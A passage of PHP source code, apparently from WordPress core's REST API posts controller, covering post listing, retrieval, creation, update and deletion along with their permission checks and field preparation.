				 * are not sticky, we have to support the case where post__not_in
				 * was already specified.
				 */
				$args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts );
			}
		}

		// Force the post_type argument, since it's not a user input variable.
		$args['post_type'] = $this->post_type;

		/**
		 * Filters the query arguments for a request.
		 *
		 * Enables adding extra arguments or setting defaults for a post collection request.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_query/
		 *
		 * @param array           $args    Key value array of query var to query value.
		 * @param WP_REST_Request $request The request used.
		 */
		$args = apply_filters( "rest_{$this->post_type}_query", $args, $request );
		$query_args = $this->prepare_items_query( $args, $request );

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$tax_exclude = $base . '_exclude';

			if ( ! empty( $request[ $base ] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy'         => $taxonomy->name,
					'field'            => 'term_id',
					'terms'            => $request[ $base ],
					'include_children' => false,
				);
			}

			if ( ! empty( $request[ $tax_exclude ] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy'         => $taxonomy->name,
					'field'            => 'term_id',
					'terms'            => $request[ $tax_exclude ],
					'include_children' => false,
					'operator'         => 'NOT IN',
				);
			}
		}

		$posts_query  = new WP_Query();
		$query_result = $posts_query->query( $query_args );

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		$posts = array();

		foreach ( $query_result as $post ) {
			if ( 'edit' === $request['context'] ) {
				$permission = $this->check_update_permission( $post );
			} else {
				$permission = $this->check_read_permission( $post );
			}

			if ( ! $permission ) {
				continue;
			}

			$data    = $this->prepare_item_for_response( $post, $request );
			$posts[] = $this->prepare_response_for_collection( $data );
		}

		// Reset filter.
		if ( 'edit' === $request['context'] ) {
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		$page = (int) $query_args['paged'];
		$total_posts = $posts_query->found_posts;

		if ( $total_posts < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $query_args['paged'] );

			$count_query = new WP_Query();
			$count_query->query( $query_args );
			$total_posts = $count_query->found_posts;
		}

		$max_pages = ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] );

		if ( $page > $max_pages && $total_posts > 0 ) {
			return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) );
		}

		$response  = rest_ensure_response( $posts );

		$response->header( 'X-WP-Total', (int) $total_posts );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base = add_query_arg( $request_params, rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
		if ( (int) $id <= 0 ) {
			return $error;
		}

		$post = get_post( (int) $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( $post && ! empty( $request['password'] ) ) {
			// Check post password, and return error if invalid.
			if ( ! hash_equals( $post->post_password, $request['password'] ) ) {
				return new WP_Error( 'rest_post_incorrect_password', __( 'Incorrect post password.' ), array( 'status' => 403 ) );
			}
		}

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( $post ) {
			return $this->check_read_permission( $post );
		}

		return true;
	}

	/**
	 * Checks if the user can access password-protected content.
	 *
	 * This method determines whether we need to override the regular password
	 * check in core with a filter.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post to check against.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool True if the user can access password-protected content, otherwise false.
	 */
	public function can_access_password_content( $post, $request ) {
		if ( empty( $post->post_password ) ) {
			// No filter required.
			return false;
		}

		/*
		 * Users always gets access to password protected content in the edit
		 * context if they have the `edit_post` meta capability.
		 */
		if (
			'edit' === $request['context'] &&
			current_user_can( 'edit_post', $post->ID )
		) {
			return true;
		}

		// No password, no auth.
		if ( empty( $request['password'] ) ) {
			return false;
		}

		// Double-check the request password.
		return hash_equals( $post->post_password, $request['password'] );
	}

	/**
	 * Retrieves a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$data     = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $data );

		if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) {
			$response->link_header( 'alternate',  get_permalink( $post->ID ), array( 'type' => 'text/html' ) );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to create a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! current_user_can( $post_type->cap->create_posts ) ) {
			return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Creates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
		}

		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_type = $this->post_type;

		$post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true );

		if ( is_wp_error( $post_id ) ) {

			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}

		$post = get_post( $post_id );

		/**
		 * Fires after a single post is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_insert_{$this->post_type}", $post, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post_id, true );
		}

		$terms_update = $this->handle_terms( $post_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single post is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $post_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Updates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_post( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}

		$post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// convert the post object to an array, otherwise wp_update_post will expect non-escaped input.
		$post_id = wp_update_post( wp_slash( (array) $post ), true );

		if ( is_wp_error( $post_id ) ) {
			if ( 'db_update_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}
			return $post_id;
		}

		$post = get_post( $post_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_insert_{$this->post_type}", $post, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post->ID );
		}

		$terms_update = $this->handle_terms( $post->ID, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		// Filter is fired in WP_REST_Attachments_Controller subclass.
		if ( 'attachment' === $this->post_type ) {
			$response = $this->prepare_item_for_response( $post, $request );
			return rest_ensure_response( $response );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		$response = $this->prepare_item_for_response( $post, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_delete_permission( $post ) ) {
			return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Deletes a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$id    = $post->ID;
		$force = (bool) $request['force'];

		$supports_trash = ( EMPTY_TRASH_DAYS > 0 );

		if ( 'attachment' === $post->post_type ) {
			$supports_trash = $supports_trash && MEDIA_TRASH;
		}

		/**
		 * Filters whether a post is trashable.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Pass false to disable trash support for the post.
		 *
		 * @since 4.7.0
		 *
		 * @param bool    $supports_trash Whether the post type support trashing.
		 * @param WP_Post $post           The Post object being considered for trashing support.
		 */
		$supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post );

		if ( ! $this->check_delete_permission( $post ) ) {
			return new WP_Error( 'rest_user_cannot_delete_post', __( 'Sorry, you are not allowed to delete this post.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		$request->set_param( 'context', 'edit' );


		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $post, $request );
			$result = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
		} else {
			// If we don't support trashing for this type, error out.
			if ( ! $supports_trash ) {
				/* translators: %s: force=true */
				return new WP_Error( 'rest_trash_not_supported', sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
			}

			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $post->post_status ) {
				return new WP_Error( 'rest_already_trashed', __( 'The post has already been deleted.' ), array( 'status' => 410 ) );
			}

			// (Note that internally this falls through to `wp_delete_post` if
			// the trash is disabled.)
			$result = wp_trash_post( $id );
			$post = get_post( $id );
			$response = $this->prepare_item_for_response( $post, $request );
		}

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
		}

		/**
		 * Fires immediately after a single post is deleted or trashed via the REST API.
		 *
		 * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * @since 4.7.0
		 *
		 * @param object           $post     The deleted or trashed post.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->post_type}", $post, $response, $request );

		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/**
			 * Filters the query_vars used in get_items() for the constructed query.
			 *
			 * The dynamic portion of the hook name, `$key`, refers to the query_var key.
			 *
			 * @since 4.7.0
			 *
			 * @param string $value The query_var value.
			 */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) {
			$query_args['ignore_sticky_posts'] = true;
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		// Use the date if passed.
		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		// Return null if $date_gmt is empty/zeros.
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		// Return the formatted datetime.
		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Prepares a single post for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();

		// Post ID.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
		}

		$schema = $this->get_item_schema();

		// Post title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_post->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_post->post_title = $request['title']['raw'];
			}
		}

		// Post content.
		if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$prepared_post->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$prepared_post->post_content = $request['content']['raw'];
			}
		}

		// Post excerpt.
		if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) {
			if ( is_string( $request['excerpt'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt'];
			} elseif ( isset( $request['excerpt']['raw'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt']['raw'];
			}
		}

		// Post type.
		if ( empty( $request['id'] ) ) {
			// Creating new post, use default type for the controller.
			$prepared_post->post_type = $this->post_type;
		} else {
			// Updating a post, use previous type.
			$prepared_post->post_type = get_post_type( $request['id'] );
		}

		$post_type = get_post_type_object( $prepared_post->post_type );

		// Post status.
		if ( ! empty( $schema['properties']['status'] ) && isset( $request['status'] ) ) {
			$status = $this->handle_status_param( $request['status'], $post_type );

			if ( is_wp_error( $status ) ) {
				return $status;
			}

			$prepared_post->post_status = $status;
		}

		// Post date.
		if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date = true;
			}
		} elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date = true;
			}
		}

		// Post slug.
		if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) {
			$prepared_post->post_name = $request['slug'];
		}

		// Author.
		if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) );
				}
			}

			$prepared_post->post_author = $post_author;
		}

		// Post password.
		if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) {
			$prepared_post->post_password = $request['password'];

			if ( '' !== $request['password'] ) {
				if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
					return new WP_Error( 'rest_invalid_field', __( 'A post can not be sticky and have a password.' ), array( 'status' => 400 ) );
				}

				if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) {
					return new WP_Error( 'rest_invalid_field', __( 'A sticky post can not be password protected.' ), array( 'status' => 400 ) );
				}
			}
		}

		if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
			if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) {
				return new WP_Error( 'rest_invalid_field', __( 'A password protected post can not be set to sticky.' ), array( 'status' => 400 ) );
			}
		}

		// Parent.
		if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) {
			if ( 0 === (int) $request['parent'] ) {
				$prepared_post->post_parent = 0;
			} else {
				$parent = get_post( (int) $request['parent'] );
				if ( empty( $parent ) ) {
					return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 400 ) );
				}
				$prepared_post->post_parent = (int) $parent->ID;
			}
		}

		// Menu order.
		if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) {
			$prepared_post->menu_order = (int) $request['menu_order'];
		}

		// Comment status.
		if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) {
			$prepared_post->comment_status = $request['comment_status'];
		}

		// Ping status.
		if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) {
			$prepared_post->ping_status = $request['ping_status'];
		}

		if ( ! empty( $schema['properties']['template'] ) ) {
			// Force template to null so that it can be handled exclusively by the REST controller.
			$prepared_post->page_template = null;
		}

		/**
		 * Filters a post before it is inserted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * @since 4.7.0
		 *
		 * @param stdClass        $prepared_post An object representing a single post prepared
		 *                                       for inserting or updating the database.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request );

	}

	/**
	 * Determines validity and normalizes the given status parameter.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_status Post status.
	 * @param object $post_type   Post type.
	 * @return string|WP_Error Post status or WP_Error if lacking the proper permission.
	 */
	protected function handle_status_param( $post_status, $post_type ) {

		switch ( $post_status ) {
			case 'draft':
			case 'pending':
				break;
			case 'private':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to create private posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
				}
				break;
			case 'publish':
			case 'future':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to publish posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
				}
				break;
			default:
				if ( ! get_post_status_object( $post_status ) ) {
					$post_status = 'draft';
				}
				break;
		}

		return $post_status;
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 4.7.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {

		$featured_media = (int) $featured_media;
		if ( $featured_media ) {
			$result = set_post_thumbnail( $post_id, $featured_media );
			if ( $result ) {
				return true;
			} else {
				return new WP_Error( 'rest_invalid_featured_media', __( 'Invalid featured media ID.' ), array( 'status' => 400 ) );
			}
		} else {
			return delete_post_thumbnail( $post_id );
		}

	}

	/**
	 * Check whether the template is valid for the given post.
	 *
	 * @since 4.9.0
	 *
	 * @param string          $template Page template filename.
	 * @param WP_REST_Request $request  Request.
	 * @return bool|WP_Error True if template is still valid or if the same as existing value, or false if template not supported.
	 */
	public function check_template( $template, $request ) {

		if ( ! $template ) {
			return true;
		}

		if ( $request['id'] ) {
			$current_template = get_page_template_slug( $request['id'] );
		} else {
			$current_template = '';
		}

		// Always allow for updating a post to the same template, even if that template is no longer supported.
		if ( $template === $current_template ) {
			return true;
		}

		// If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
		$allowed_templates = wp_get_theme()->get_page_templates( get_post( $request['id'] ), $this->post_type );

		if ( isset( $allowed_templates[ $template ] ) ) {
			return true;
		}

		/* translators: 1: parameter, 2: list of valid values */
		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) ) );
	}

	/**
	 * Sets the template for a post.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Introduced the $validate parameter.
	 *
	 * @param string  $template Page template filename.
	 * @param integer $post_id  Post ID.
	 * @param bool    $validate Whether to validate that the template selected is valid.
	 */
	public function handle_template( $template, $post_id, $validate = false ) {

		if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) {
			$template = '';
		}

		update_post_meta( $post_id, '_wp_page_template', $template );
	}

	/**
	 * Updates the post's terms from a REST request.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $post_id The post ID to update the terms form.
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
	 */
	protected function handle_terms( $post_id, $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			$result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}
	}

	/**
	 * Checks whether current user can assign all terms sent with the current request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return bool Whether the current user can assign the provided terms.
	 */
	protected function check_assign_terms_permission( $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			foreach ( $request[ $base ] as $term_id ) {
				// Invalid terms will be rejected later.
				if ( ! get_term( $term_id, $taxonomy->name ) ) {
					continue;
				}

				if ( ! current_user_can( 'assign_term', (int) $term_id ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Checks if a given post type can be viewed or managed.
	 *
	 * @since 4.7.0
	 *
	 * @param object|string $post_type Post type name or object.
	 * @return bool Whether the post type is allowed in REST.
	 */
	protected function check_is_post_type_allowed( $post_type ) {
		if ( ! is_object( $post_type ) ) {
			$post_type = get_post_type_object( $post_type );
		}

